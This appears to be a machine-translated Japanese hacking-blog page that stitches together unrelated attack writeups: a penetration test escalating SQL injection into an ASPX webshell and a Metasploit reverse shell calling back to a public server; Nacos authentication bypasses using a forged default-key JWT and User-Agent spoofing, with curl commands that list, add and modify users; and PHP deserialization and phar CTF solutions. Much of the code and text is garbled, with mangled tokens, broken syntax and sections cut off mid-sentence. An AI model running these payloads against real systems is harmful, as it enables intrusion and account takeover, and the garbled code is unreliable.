Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863110117

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

0x00はじめに

侵入プロジェクトが実施されたとき、顧客は1つのIPのみを提供しました。ルーキーとして、私は遠く離れて航海し始めました。

0x01情報収集

NMAPはポートをスキャンし、高ビットポートのスキャンに注意を払い、予期しない利益につながることがよくあります。

弱いパスワードはログインしようとします。

簡単な要約。

image.png

0x03脆弱性検出

バックグラウンドテストにログインし、両方のシステムにSQLインジェクションが存在することを発見しました。

ポート8000のクロッカスシステムにファイルをダウンロードする脆弱性も見つかりました。

image.png

ログのダウンロードであることが判明しました。クリックして、ページに絶対的なパスがあることを発見します。

image.png

わかりました!絶対パスを収集します。

image.png

現在のアイデアは次のとおりです。

SQLインジェクションと組み合わせた絶対的なパスの前提で、SQLMAPの-SQL -Shellを使用してトロイの木馬を書き込もうとします。

0x04脆弱性

この絶対的なパスを詳しく見てみましょう。それを見つめると奇跡的な効果があると聞いた。 (笑う)

image.png

どこかでWCMS4.0を見たと思います。

image.png

それは正しい。ポート12055で、バックグラウンドにログインします

バックグラウンドでSQLインジェクションを使用して、シェルを書き込むことができます。

image.png

SQLインジェクションポイントは、ほぼ検索場所にあります。

パケットをインターセプトし、post.txtとして保存します。 SQLMAPを使用して注入を開始します。

image.png

image.png

注入、DBA許可、および絶対パスがあります。シェルのワンストップの準備ができました。

0x05 webshell

トロイの木馬にaspxの書き込みを開始します。

「%@ページ言語='javascript'%eval(request.item ['pass']);% 'into outfile' c: //プログラムファイル(x86)//cms server //wcms4.0 //x.aspx 'image.png

問題ありません、訪問してください。

image.png

ニース!

包丁の接続。

image.png

0x06制御サーバー

最初にこのサーバーに関する情報を収集します

image.png

image.png

サーバーはイントラネットで実行され、ここではMSFホースを使用してシェルをバウンスして転送することを選択します。

外部ネットワークにメタプロイトを構築する方法について。推奨記事:

http://www.sqlsec.com/2018/03/cloud.html#more

MSF馬を生成します

MSFVENOM -P Windows/X64/MeterPreter/Reverse_tcp Lhost=xx.xx.xx.xx lport=2333 -f exe road.exxx.xx.xx.xxはパブリックネットワークサーバーです

2333はパブリックネットワークポートです

image.png

生成されたMSF馬を中国の包丁を通してブロイラーにアップロードします。

外部ネットワーク上のMetaSploitは、監視の構成を開始します

Exploit/Multi/ハンドルを使用します

ペイロードを設定します

Windows/x64/meterpreter/reverse_tcp

LHOST 127.0.0.1を設定します

走る

image.png

image.png

いくつかのメータープレターコマンドを単純に実行します

GetUID電流権限

システムを取得して権利を引き上げます

getgui -uを実行します

NACOS脆弱性の概要の再発

1。 NACOSデフォルトキーは、ログインをバイパスする許可を引き起こします

NACOS=2.1.0に影響を与える問題がNACOSで見つかり、デフォルトのJWTキーを使用してNACOSユーザーが不正アクセスの脆弱性を引き起こしました。この脆弱性により、攻撃者はユーザー名とパスワード認証をバイパスし、NACOSユーザーに直接ログインできます。

0x00脆弱性の説明

0.1.0=NACOS=2.2.0

0x01脆弱性の影響

FOFA:app='nacos'

0x02脆弱性検索

nacosでは、token.secret.key値は固定されており、場所はアプリケーションです。

image.png

nacos.core.auth.plugin.nacos.token.secret.key=secretkey0123456789012345678901234567890123456789012345678901234567899

1.トークンを取得し、このデフォルトキーを使用してJWT構造を実行し、背景を直接入力します。建設方法:

https://jwt.io/で:デフォルトキーを入力してください:

SecretKey012345678901234567890123456789012345678901234567890123456789

次に、ペイロードを入力します。

{

'sub':' nacos '、

'exp': 1678899909

}

ここで注:1678899909の値はUNIXタイムスタンプです。変換したい場合は、システム内の現在よりも遅くなります。たとえば、現在の時刻は2023年3月15日22:11:09で、ここでのタイムスタンプ時間は3月16日です。

image.png

image.png

知らせ:

以下は、JWT値をバイパス許可に鍛造するテスト結果です

1.タイムスタンプを拡張し、パスワードを投稿するのが間違っていて、ユーザー名が正しい

2。タイムスタンプを拡張し、パスワードを投稿し、ユーザー名エラーを拡張します

3.タイムスタンプを削除してください、投稿のパスワードが間違っています、ユーザー名が間違っています

上記の値をコピーし、げっぷのログインを選択して構成します。

eyjhbgcioiijiuzi1niisinr5cci6ikpxvcj9.eyjzdwiioijuywnvcyisimv4cci6mty3odg5otkwox0.di28cdy76jcvtmsgiim12c4pukjuobz6j6j6dstuko7s

image.png

あなたはそれを箱に自分で追加する必要があります:

POST/NACOS/V1/AUTH/USERS/LOGIN HTTP/1.1

HOST: 10.211.55.5:8848

user-agent: mozilla/5.0(Macintosh; Intel Mac OS X 10.15; RV3360104.0)Gecko/20100101 Firefox/104.0

Accept: Application/Json、Text/Plain、 */*

Accept-Language: ZH-CN、ZH; Q=0.8、ZH-TW; Q=0.7、ZH-HK; Q=0.5、EN-US; Q=0.3、EN; Q=0.2

Accept-Encoding: gzip、deflate

Content-Type:アプリケーション/x-www-form-urlencoded

Content-Length: 33

Origin: http://10.211.55.533608848

Connection:閉じます

Referer: http://10.211.55.533608848/nacos/index.html

Authorization: Bearer eyjhbgcioiijiuzi1niisinr5cci6ikpxvcj9.eyjzdwiioiiijuywnvcyisimv4cci6mty3odg5otkwox0.di28cdy76jcvtmsgiim12c4pukjuobz6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6dstuko7s

username=crowsecpassword=crowsec

この時点で、トークン情報を受け取りました。

HTTP/1.1 200

Vary: Origin

VARY: Access-Control-Request-Method

Vary: Access-Control-Request-Headers

content-security-policy: script-src 'self'

set-cookie: jsessionid=d90cf6e5b233685e4a39c1b1bda9f185; path=/nacos; httponly

Authorization: Bearer eyjhbgcioiijiuzi1niisinr5cci6ikpxvcj9.eyjzdwiioiiijuywnvcyisimv4cci6mty3odg5otkwox0.di28cdy76jcvtmsgiim12c4pukjuobz6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6dstuko7s

Content-Type:アプリケーション/JSON

日付:水曜日、2023年3月15日14336013:22 GMT

Connection:閉じます

Content-Length: 197

{'AccessToken':'eyjhbgcioiijiuzi1niisinr5cci6ikpxvcj9.eyjzdwiioiijuywnvcyisimv4cci6mty3odg5otkwox0.di28c dy76jcvtmsgiim12c4pukjuuobz6j6dstuko7s '、' tokenttl':18000、 'globaladmin':true、' username':'nacos '}

この時点で、NACOSのトークン情報を受け取りました。

2。トークンを使用してログインしてバックグラウンドにログインする方法は?ここでは、偽のアカウントでログインしてから変更してパッケージに戻る必要があります。試してみてください:

最初に偽のアカウントでログインし、げっぷを使用して傍受:image.png

これは間違いなくアクセスできません。ここで返品パッケージを変更し、右クリックしてこれを読みます:

image.png

その後、ここで返される情報は間違いなく無効です:

image.png

ここでは、今すぐ生成されたリターンパッケージを使用して、それを交換し、すべてをコピーします。

image.png

再びフォワード:image.png

今、私はすでに入力したので:

image.png

3.デフォルトキーを使用してJWTを生成して現在のユーザー名とパスワードを表示します/nacos/v1/auth/users?accesstoken=eyjhbgcioiiuzi1niisinr5cci6ikpxvcj9.eyjzdwiioijuywnvc yisimv4cci6mty3odg5otkwox0.di28cdy76jcvtmsgiim12c4pukjuubz6j6dstuko7spageno=1pagesize=9 http/1.1host: {{hostname}} user-agent: mozilla/5.0accept-encoding: gzip、deflateconnection: closeif-midified-since:水、2023年2月15日gmtupgrade-insecure-requests: 1accesstoken: eyjhbgcioiijiuzi1niisinr5cci6ikpxvcj9.eyjzdwiioijuywnvcyisimv4cci6mty3odg5otkwox0.di28cdy76jcvtmsgiim12c4pukjuobz6j6dstuk7s4j6dstu7s4dstu7s.dstuko7sヘロナコス、そしてそれを正常に作成します

post/nacos/v1/auth/users http/1.1host: {{hostname}} user-agent: mozilla/5.0authorization: bearereyjhbgcioiijiuzi1niisinr5cci6ikpxvcj9.eyjzdwiioijuywnvcyisimv4cci6mty3odg5otkwox0.di28cdy76jcvtmsgiim12c4puk4pukjuobz6j6dstuko7siccechict-ecobjubz6dstuko7siccecepudipubz DeflateConnection: CloseUpgrade-Insecure-Requests: 1IF-Modified-Since:水曜日、2023年2月15日10:45:10 GMTCONTENT-TYPE3:アプリケーション/X-WWW-WWW-form-on-Length: 39

username=hellonacospassword=hellonacos

0x03脆弱性の再発

http://10.10.84.2073:8848/nacos/v1/auth/users?pageno=1pagesize=9search=quarceateaccesstokenhttp://your_ip:8848/nacos/v1/auth/?pageno=1pageno=1pageno 1049983-20230323105704604-273123776.jpg

2。 NACOSデフォルト構成不正アクセスの脆弱性

ServerIdentity

3。 NACOS2.2.0許可バイパス

追加ServerIdentity31049983-20230323105705306-318833055.jpg Addy ServerIdentity 1049983-20230323105705306-318833055.jpg (dnacos.core.auth.enabled=true)、authfilterサーブレットフィルターは、認証を強制するために使用されるため、認証チェックをスキップします。このメカニズムは、ユーザーエージェントHTTPヘッダーに依存するため、簡単にスプーフィングされます。この問題により、すべてのユーザーがNACOSサーバーで管理タスクを実行できる場合があります。

iv。 Nacos1.x.xバージョンユーザーエージェント許可バイパス((CVE-2021-29441)

Docker run -D -P 8848:8848 HGLIGHT/CVE-2021-29441

0x01脆弱性の説明

NACOS=1.4.1 :010101。 http://Target:88848/nacos/v1/auth/users?pageno=1pagesize=9戻り値が200であることがわかります。

Host: 192.168.246.138:8848

user-agent: nacos-server 1049983-20230323105706774-1149816692.png

または、コマンドを使用してアクセスしてください。ユーザーパスワードを読む:curl 'http://127.0.0.0.1:8848/nacos/v1/auth/users?pageno=1pagesize=9accesstoken=' -h 'user -agent: nacos-server'curl'http://127.0.0.13:8848/nacos/v1/auth/users?pageno=1pagesize=9search=blur'-h'user-agent3:nacos-server '

curl'http://127.0.0.133608848/nacos/v1/auth/users?pageno=1pagesize=9search=quarce'-h'user-agent:nacos-server'unauthorizedユーザーの追加curl-xpost'http://127.0.0.1:8848/nacos/v1/auth/users?username=test1password=test1 '-h' user-agent:nacos-serverユーザーパスワードの変更curl-x put 'http://127.0.0.1:8848/nacos/v1/auth/users?accesstoken=' -h 'user -agent:nacos -server' -d 'username=test1newpassword=test2'read構成ファイルcurl-xget'http://127.0.0.133608848/nacos/v1/cs/configs?search=quarceatedataid=group=pageno=1pagesize=9 9'curl-xget'3http://127.0.0.1:8848/nacos/v1/cs/configs?search=bludataid=group=pageno=1pagesize=99 '

ヘッダーヘッダーを追加した後、POSTメソッドを使用してhttp://TARGET:88848/NACOS/V1/AUTH/USERS?USERNAME=VULHUBPASSWORD=valHubadd、アカウントパスワードはVulHubPost/Nacos/V1/use/users=hglightpassword=hglightpassword=hglightpassword=hglightpasswordです。

Host: 192.168.246.138:8848

user-agent: nacos-serverまたはpost/nacos/v1/auth/users http/1.1host: 192.168.31.643:88848Cache-control3360 max-age=0upgrade-insecure-Requerestess3360 1USer-agent: NACOS-Serveraccept-Encoding: GZIP、DERLATEACCEPT-LANGUAGE: ZH-CN、ZH; Q=0.9Connection: closecontent-type:アプリケーション/X-WWW-FORM-URLENCODEDEDEDEDEDCONTENT-LENGTENT-LENGTENT-LENGTEN 1049983-20230323105707562-1407732490.pngユーザーリストをもう一度表示します。返されたユーザーリストデータには、バイパス認証によって作成された追加の新しいユーザーがあります。

get/nacos/v1/auth/users/?pageno=1pagesize=9 http/1.1

Host: 192.168.246.138:8848

user-agent: nacos-server 1049983-20230323105708417-444131267.pngアクセスhttp://IP:8848/NACOSは新しいユーザーでログインします。

web

1. [強いネットパイオニア]トレジャーハント

競争の質問を配布すると、アクセスリンクは次のとおりです。

1049983-20211223173925616-142118672.jpg

この質問では、情報1と情報2を介して2つのキー値を取得し、key1とkey2を入力してから復号化する必要があります。

Key1のコード監査

「情報1」をクリックして、コード監査であることがわかります。

1049983-20211223173926650-284071638.jpg

完全なソースコードは次のとおりです。

?php

ヘッダー( 'Content-Type:Text/html; charset=utf-8');

error_reporting(0);

highlight_file(__ file__);

関数フィルター($ string){

$ filter_word( 'php'、 'flag'、 'index'、 'key1lhv'、 'source'、 'key'、 'eval'、 'echo'、 '\ $'、 '\('、 '\。'、 'num'、 'html'、 '\/'、 '\、' \、 '\' '' '' '' ' ^

$ filter_phrase='/'.implode('|'、$filter_word).'/';

preg_replace($ filter_phrase、 ''、$ string)を返します。

}

if($ ppp){

Unset($ PPP);

}

$ ppp ['number1']='1';

$ ppp ['number2']='1';

$ ppp ['nunber3']='1';

$ ppp ['number4']='1';

$ ppp ['number5']='1';

抽出($ _ post);

$ num1=filter($ ppp ['number1']);

$ num2=filter($ ppp ['number2']);

$ num3=filter($ ppp ['number3']);

$ num4=filter($ ppp ['number4']);

$ num5=filter($ ppp ['number5']);

if(isset($ num1)is_numeric($ num1)){

die( '非番号');

}

それ以外{

if($ num11024){

エコー「1階」;

if(Isset($ num2)strlen($ num2)=4 intval($ num2 + 1)500000){

エコー「セカンドレベル」;

if(isset($ num3) '4bf21cd'===substr(md5($ num3)、0,7)){

エコー「3階」;

if(!($ num4 0)($ num4==0)($ num4=0)(strlen($ num4)6)(strlen($ num4)8)isset($ num4)){

エコー「4階」;

if(!isset($ num5)||(strlen($ num5)==0))die( 'no');

$ b=json_decode(@$ num5);

if($ y=$ b===null){

if($ y===true){

エコー「5階」;

「key1lhv.php」を含めます。

echo $ key1;

}

}それ以外{

die( 'no');

}

}それ以外{

die( 'no');

}

}それ以外{

die( 'no');

}

}それ以外{

die( 'no');

}

}それ以外{

die( 'no111');

}

}

非デジタル

バイパスを必要とするコアコードは次のとおりです。

最初のレイヤー:非純度番号が必要で、1024を超えており、PHPの弱い比較を使用して$ num1=11111aを作成します。

2番目のレイヤー:intval関数(intval()関数を使用して変数の整数値を取得する)をバイパスし、科学的および技術的方法を使用して5未満の長さの制限をバイパスするため、$ num2=9e9とします。

3番目のレイヤー:substr(md5)は、値を特定の値として取得し、md5衝突を実行するスクリプトを書き込み、num3が61823470であると計算し、スクリプトは次のとおりです。

Hashlibをインポートします

def md5_encode(num3):

Hashlib.md5を返す(num3.encode())。hexdigest()[0:7]

範囲のI(60000000,70000000):

num3=md5_encode(str(i))

#print(num3)

num3=='4bf21cd':の場合

印刷(i)

壊す

操作結果は次のとおりです。

1049983-20211223173927160-736402045.jpg

レイヤー4:科学表記バイパス、長さは7、0、num4は0E00000です。

1049983-20211223173927543-1345414535.jpg

レイヤー5:json_decode()関数はJSONエンコード文字列を受け入れ、PHP変数に変換します。 JSONを(非JSON形式で)デコードできない場合、nullを返しますので、num5は1aに等しくなります(任意の文字列で十分です)。

したがって、最終的なペイロード:

PPP [number1]=11111Appp [number2]=9e9ppp [number3]=61823470ppp [number4]=0e00000ppp [number5]=1a

投稿の投稿はkey1を取得します:

key1 {e1e1d3d40573127e9ee0480caf1283d6}}

Key2のスクリプト検索

1.プロンプトメッセージはダウンロードリンクを提供します。

1049983-20211223173927932-601584177.jpg

2。減圧後、Docxファイルの束があります。

1049983-20211223173928426-1779376784.jpg

3.誰かを開くと、それがキャラクターの束であることがわかります。

1049983-20211223173928865-286054451.jpg

4。KEYS KEY2はファイルの1つにあり、実行するスクリプトを書きます。

OSをインポートします

docxをインポートします

範囲(1,20):のIの場合

範囲(1,20):のJの場合

path='./5. {0 }/vr_ {1}'.format(i、j)

files=os.listdir(path)

#print(filepath)

ファイルのファイル:の場合

try:

filename=path+'/'+ファイル

#print(filename)

file=docx.document(filename)

file.paragraphs:のコンテンツの場合

#print(content.text)

content.text:のkey2 {'の場合

print(content.text)

印刷(ファイル名)

壊す

:を除く

合格

操作結果は次のとおりです。

1049983-20211223173929269-581091221.jpg

key2を取得:

key2 {t5fo0od618l91slg6l1l42l3a3ao1nblfss}

元のページでフラグを取得するために送信してください:

1049983-20211223173929623-1155291069.jpg

2. [強いネットパイオニア]ギャンブラー

競争の質問に問題、アクセスアドレスは次のとおりです。1049983-20211223173929968-140881516.jpg

質問のソースコードリマインダーと組み合わせて、Dirsearchを使用してディレクトリをスキャンし、www.zip:1049983-20211223173930415-1982720835.jpg3を見つけました。分解して質問のソースコードを取得します。MetaCharset='utf-8'?php //hintはhint.pherror_reporting(1)にあります。

class start {public $ name='guest'; public $ flag='syst3m(' cat 127.0.0.1/etc/hint ');'; public function __construct(){echo 'あなたが必要だと思います /etc /hint。この前に、ソースコードを表示する必要があります。 }

public function _sayhello(){echo $ this-name; 「OK」を返します。 }

public function __wakeup(){echo 'hi'; $ this-_sayhello(); } public function __get($ cc){echo 'give you flag :'。$ this-flag;戻る ; }}

クラス情報{private $ phoneNumber=123123; public $ promise='I do'; public function __construct(){$ this-promise='私はしません!'; $ return this-promise; }

public function __toString(){return $ this-file ['filename'] -ffiillee ['ffiilleennaammee']; }}

クラスルーム{public $ filename='/flag'; public $ sth_to_set; public $ a='';パブリック関数__get($ name){$ function=$ this-a; $ $ function(); } public function get_hint($ file){$ hint=base64_encode(file_get_contents($ file)); echo $ hint;戻る ; }

public function __invoke(){$ content=$ this-get_hint($ this-filename); echo $ content; }}

if(isset($ _ get ['hello'])){unserialize($ _ get ['hello']);} else {$ hi=new start();}?これを見て、それはPHPの敏aserializationの質問だと思いますが、私が以前に学んだ関連する質問は、破壊者の利用ポイントにのみ関与しています。この質問は混乱していたので、私はすぐにCTFでのPHP降下のルーチンを補いました。 PHPマジックメソッドPHPのマジックメソッドの定義は、2つのアンダースコア__から始まるメソッドを呼び出すことです。一般的なものは次のとおりです。__construct:オブジェクトを作成するときにオブジェクトを初期化します。これは、一般に変数に初期値を割り当てるために使用されます。 __Destruct:はコンストラクターとは反対で、オブジェクトが配置されている関数が呼び出された後に実行されます。 __toString:オブジェクトが文字列として使用されるときに呼び出されます。 __sleep:オブジェクトをシリアル化する前にこのメソッドを呼び出します(アレイが必要な配列を返します) __GET:は、アクセス不可能なプロパティからのデータの読み取り__ISSET(): ISSET()またはempty()でempty()を呼び出していないプロパティをトリガーします__unset():トリガー__ __ invoke():の操作をご紹介してください。 https://www.php.net/manual/zh/language.oop5.magic.phpシンプルな例?phpclass a {var $ test='demo'; function __wakeup(){eval($ this-test); }} $ a=$ _get ['test']; $ a_unser=unserialize($ a);分析:ここには1つのクラスAのみ、1つの__wakeup()メソッドのみがあります。次に、次のExpを構築してphpinfo()関数を実行します。phpclass a {var $ test='demo'; function __wakeup(){echo $ this-test; }} $ a=$ _get ['test']; $ a_unser=unserialize($ a);

$ b=new a(); $ b-test='phpinfo();'; $ c=serialize($ b); echo $ c;output:o:1:'A':1: {s3:4:'test '; S:103360'PHPINFO()ペイロード、実行効果は次のとおりです。1049983-20211223173931003-408094937.jpg

ポップチェーンの高度な質問をさらに見てください:php //flagはflag.phperror_reporting(1); class read {public $ var; public function file_get($ value){$ text=base64_encode(file_get_contents($ value)); $ textを返します。 } public function __invoke(){$ content=$ this-file_get($ this-var); echo $ content; }}

クラスショー{public $ source; public $ str; public function __construct($ file='index.php'){$ this-source=$ file; echo $ this-source.'welcome '。' br '; } public function __toString(){return $ this-str ['str'] - source; }

public function _show(){if(preg_match( '/gopher | http | ftp | https | dict | \。\。| file/i'、$ this-source)){die( 'hacker'); } else {highlight_file($ this-source); }}

public function __wakeup(){if(preg_match( '/gopher | http | file | ftp | https | dict | \。/i'、$ this-source)){echo 'hacker'; $ this-source='index.php'; }}}

クラステスト{public $ p; public function __construct(){$ this-p=array(); }

パブリック関数__get($ key){$ function=$ this-p; $ $ function(); }}

if(isset($ _ get ['hello'])){unserialize($ _ get ['hello']);} else {$ show=new show( 'pop3.php'); $ show-_show();} [タイトル分析]この質問では、脱介入を構築することによりflag.phpファイルを読むことが目的であることがわかります。読み取りクラスにはfile_get_contents()関数があり、ショークラスにはhighlight_file()関数があり、ファイルを読み取ります。次に、ターゲットポイントを探しているときに、最後の数行に非正規化関数が存在することがわかります。この関数の実行により、__WakeUp Magicメソッドもトリガーされ、__WakeUp Magicメソッドはショークラスで見ることができます。 1。__wakeupメソッド:public function __wakeup(){if(preg_match( '/gopher | http | file | ftp | https | dict | \。\ ./i'、$ this-source)){echo 'hacker'; $ this-source='index.php'; }}通常の一致する関数preg_match()があります。関数の2番目のパラメーターは文字列である必要があります。ここで、ソースは一致する文字列として使用されます。この時点で、このソースが特定のクラスのオブジェクトである場合、このクラスの__toStringメソッドがトリガーされます。全体を通してコードを読んだ後、__toString Magicメソッドもショークラスにあることがわかります。それから

1。 web

1。旗が消える

アクセス拒否

FakeIPプラグインフェイクIP

imgプロンプトファイルはnullです

ファイルパラメーターを追加してみてください

?file=index.php`プロンプト `ハックしないでください!

おそらくフィルターチェーン

参照記事:

https://www.cnblogs.com/linuxsec/articles/12684259.html

https://blog.csdn.net/yuanxu8877/article/details/127607264

Php: //filter/convert.iconvが成功することができます

img/?file=php: //filter/convert.iconv.utf-16/resource=index.php

/?file=php://filter/convert.iconv.utf-8.utf-16/resource=/flag img img :010一般的なバックアップファイルまたはロボットがあるかどうかを最初に確認しましょう。

バックアップファイルwww.tar.gzを見つけることができます

image.png

次に、URL/www.tar.gzにアクセスして、バックアップファイルをダウンロードします

image.png

主にupload.phpとdownload.phpを見て、ソースコードがすべてここにあることがわかりました

image.png

image.png

次のように、CSDNで同様の質問を見ることができます。

https://blog.csdn.net/m0_70819573/article/details/129506508

https://blog.csdn.net/2301_79708753/article/details/135873948

https://www.bilibili.com/read/cv21572905/

次に、質問へのリンクを開き、アップロードフォームから始めて、もうできません。それは脱介入の意味ではありませんか?

image.png

次に、ファイルのアップロードと降下の組み合わせである可能性があります。

次に、それがファーの降下化であることを検索して見つける - ファイルに含まれるゼリア化(ファイルアップロード)

それ以外{

$ extensions=array( 'gif'、 'jpg'、 'png');

$ temp=exploit( '。'、$ _files ['file'] ['name']);

$ fileextension=end($ temp);

$ filesizecheck=$ _files ['file'] ['size'];

$ iSextensionAllowed=in_array($ fileextension、$ extensions)? True : False;

if($ filesizecheck $ isextensionAllowed){

$ filecontent=file_get_contents($ _ files ['file'] ['tmp_name']);

$ haltcompilercheck=strpos($ filecontent、 '__halt_compiler();');

if(getType($ haltCompilerCheck)==='Integer'){

echo 'phar';

uoload.phpのこのコードから、GIF、JPG、およびPNGの写真のみをアップロードできることを知ることができ、コンテンツチェックが実行されることがわかります。ファイルにはコンテンツ「__HALT_COMPILER();」を含めることはできません。

そのため、生成されたPhARファイルを圧縮パッケージに圧縮して、チェックをバイパスする必要があります。

クラスファイル{

public $ val1;

public $ val2;

public $ val3;

パブリック関数__construct(){

$ this-val1='val1';

$ this-val2='val2';

}

パブリック関数__destruct(){

if($ this-val1==='file' $ this-val2==='exists'){

if(preg_match( '/^\ s*system \ s*\(\ s*\' cat \ s+\/[^;]*\ '\ s*\); \ s*$/'、$ this-val3){

eval($ this-val3);

} それ以外{

エコー「アクセス拒否」;

}

}

}

パブリック関数__access(){

$ var='アクセス拒否';

echo $ var;

}

public function __wakeup(){

$ this-val1='exists';

$ this-val2='file';

echo 'ファイルが存在します';

}

}

次に、download.phpのコードから、それが定期的に脱出されていることを知ることができます。 __Destruct()Magicメソッドには、コマンドを実行するために使用できるeval()関数があり、コマンド実行の脆弱性があります。 __destruct()メソッドのIFステートメントは、変数v a l 1がf i l eに等しいか、変数Val1がファイルに等しいか、変数Val1がファイルに等しいか、変数Val2が存在するかどうかを決定します。

次に、次のコードに

if(preg_match( '/^\ s*system \ s*\(\ s*\' cat \ s+\/[^;]*\ '\ s*\); \ s*$/'、$ this-val3){

eval($ this-val3);

このコードは、文字列が特定のパターンと一致するかどうかをチェックするPHPの条件付きステートメントです。一致が成功した場合、評価関数が実行され、文字列内のコードが実行されます。

この正規表現を見てみましょう

/^\ s*system \ s*\(\ s*\ 'cat \ s+\/[^;]*\' \ s*\); \ s*$/:

/^と$は文字列の開始と終了を表し、文字列全体がパターンと一致するようにします。

\ s*ゼロ以上のホワイトスペース文字を一致させます。

システムは、文字列内のシステムと一致します。

(および)左と右のブラケットに一致します。

\ s*ゼロ以上のホワイトスペース文字を一致させます。

'cat \ s+/[^;]'は、catから始まるファイルパスに一致するファイルパスに一致します。で:

’単一の引用を一致させます。

猫は猫の弦に一致します。

\ s+ 1つ以上の空白文字を一致させます。

/slash /を一致させます。

[^;]ゼロ以上の非セミコロン文字を一致させます。

’単一の引用を一致させます。

\ s*ゼロ以上のホワイトスペース文字を一致させます。

;セミコロンを一致させます。

言い換えれば、この正規表現は、文字列がシステムで始まるかどうかを確認するために使用されます( 'cat、その後のファイルパスが続き、その後'で終了します)。

したがって、$ val3の値を構築できます

System( 'cat /flag');

旗を取得するために

T h i s-v a l 3のコンテンツがこのパターンと一致する場合、e v a lが実行されます(このVal3のコンテンツはこのパターンと一致し、評価します(このパターンと一致します、評価(this-val3)。

正規表現を視覚化https://wangwl.net/static/projects/visualregex/#

image.png

次に、これに注意を払う必要があります。WakeUp()Magic Methodをバイパスする必要があります。

public function __wakeup(){

$ this-val1='exists';

$ this-val2='file';

echo 'ファイルが存在します';

}

v a l 1をe x i s t s、val1が存在し、val1が存在し、val2をファイルします。

image.png

、したがって、覚醒()をバイパスする必要があります

つまり、CVE-2016-7124を使用する必要があり、その影響の範囲は

PHP5 5.6.25

PHP7 7.0.10

そのトリガー方法も非常に単純です。つまり、シリアル化された文字列のオブジェクト属性の数を表す値が実際の属性番号よりも大きい場合、__wakeupの実行はスキップされます

次に、ファーファイルを構築し、アップロードして脱3を実行し、それによってコードを実行する必要があります

アップロードすると、ZIPはPhAR検出をバイパスしますが、PhAR擬似プロトコルはZIPを減圧します。減圧するとき、私たちのPHAR擬似プロトコルは、file_get_contents()での脱気からのトリガーをトリガーし、eval()コマンドを実行します。

PHARファイル生成コード:

?php

ini_set( 'phar.readonly'、 'off');

クラスファイル

{

public $ val1;

public $ val2;

public $ val3;

パブリック関数__construct()

{

$ this-val1='file';

$ this-val2='exists';

$ this-val3='System(' cat /flag ');';

}

}

$ a=new file();

$ phar=new Phar( 'aa3.phar');

$ phar-startbuffering();

$ phar-setstub( '?php __halt_compiler();');

$ phar-setmetadata($ a);

$ phar-addfromstring( 'test.txt'、 'test');

$ phar-stopbuffering();

php phar.php

コードを実行して、ファーファイルを生成します

image.png

010を通じて、Pharファイルの内容がシリアル化されていることがわかります

image.png

しかし、アップロードとアクセスのときにエラーが報告されます

image.png

警告: file_get_contents(phar: //./upload/fuck.jpg):はstream: phar '/var/www/html/upload/fuck.jpg' sha1 signatureを確認できませんでした。

ここには問題があります。 010でPhARファイルを変更してWakeUp()Magicメソッドをバイパスできますが、ここには署名認証があり、署名を修正する必要があります

image.png

スクリプトで修正されたPHARは、データ、データ署名(20ビット)、および署名形式(8ビット)で構成されています。

gzipをインポートします

HashlibインポートSha1から

with open(r'd: \\ downlaods_1 \\ anfang_ctf \\ webbbbbbbb \\ aa3.phar '、' rb ')file:として

f=file.read()

s=f [:-28]#データに署名してください

S=S.Replace(B'3: {'、b'4: {')#属性値を交換し、バイパス__wakeup

H=F [-8:]#署名タイプとGBMBのIDを取得する

newf=s + sha1(s).digest() + h#data + signature +(type + gbmb)

#print(newf)

newf=gzip.compress(newf)#gzip pharファイルの圧縮

with open(r'D: \\ downlaods_1 \\ anfang_ctf \\ webbbbbbbb \\ fuck3.png '、' wb ')as file:#ファイルサフィックスを変更します

file.write(newf)

次に、PNG画像をアップロードします

image.png

phrowd.phpでポストパラメーター転送を実行し、phar: //protocol pseudoを使用してpharファイルを読み取り、脱出をトリガーします。

file=phar: //./upload/fuck3.png

最後にフラグを取得します

image.png

フラグは次のとおりです。

669B01045DA0456EA2A2861CE57DD537

2.Unserialize_web

関数をクリックしただけで何も見つかりませんでした。 F12のソースコードにwww.zipがあることがわかりました。

imgソースコードをダウンロードして、tcpdf v6.3.2を参照してください

タイトル登録関数を見て、エラーを直接登録して表示し、ソースコード登録html/api.phpのロジックを見てください

img QINTERNALへのフォローアップ

imgはhttp://LocalHost:8082/``招待状にアクセスします

次に、pdf/internal.pyに移動します

app.run(host='127.0.0.1'、ポート=8082)、ローカル8082ポートにはPythonサービスが有効になっています

その後、ローカルのデバッグがここに来て、if('myjson ['vite'] in open( 'Invites.txt')。read()。

imgその後、Google検索「CTF」TCPDF招待状を検索します

検索

https://cloud.tencent.com/developer/article/2069757

https://r0.haxors.org/posts?id=15

https://b6a.black/posts/2021-05-22-3kctf/#ppaste-web-498ポイント

参照:https://r0.haxors.org/posts?id=15

imgINVITE:-3.3E9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999

img次に、イントラネットのSSRFを呼び出します

WPのように、私は何度か電話してきましたが、それを打つことができませんでした。外部ネットワークからのリクエストはないので、ネットワークがあるとは推測できません

ソースコードに移動し、元のタイトルWPに従ってSSLF場所のロジックを見つけます

img元の質問の比較

img Gopherがリリースされていることがわかります

だから私はGopherだけで、長い間テストした後もテストしていません。

最後に、Cookieの問題により、ユーザーがログインするか、以前のユーザーのCookieがログインした可能性があると思います

asmintest1を直接登録し、SSRFをチームメイトに再生します(Asmintest55)、Access Action:Adminは管理者へのアップグレードに正常にアップグレードします

img img img img

3.mypdf

0問題を解決しました。

2人のユーザーがパスワードログインが弱いため、2つのトークンを取得します

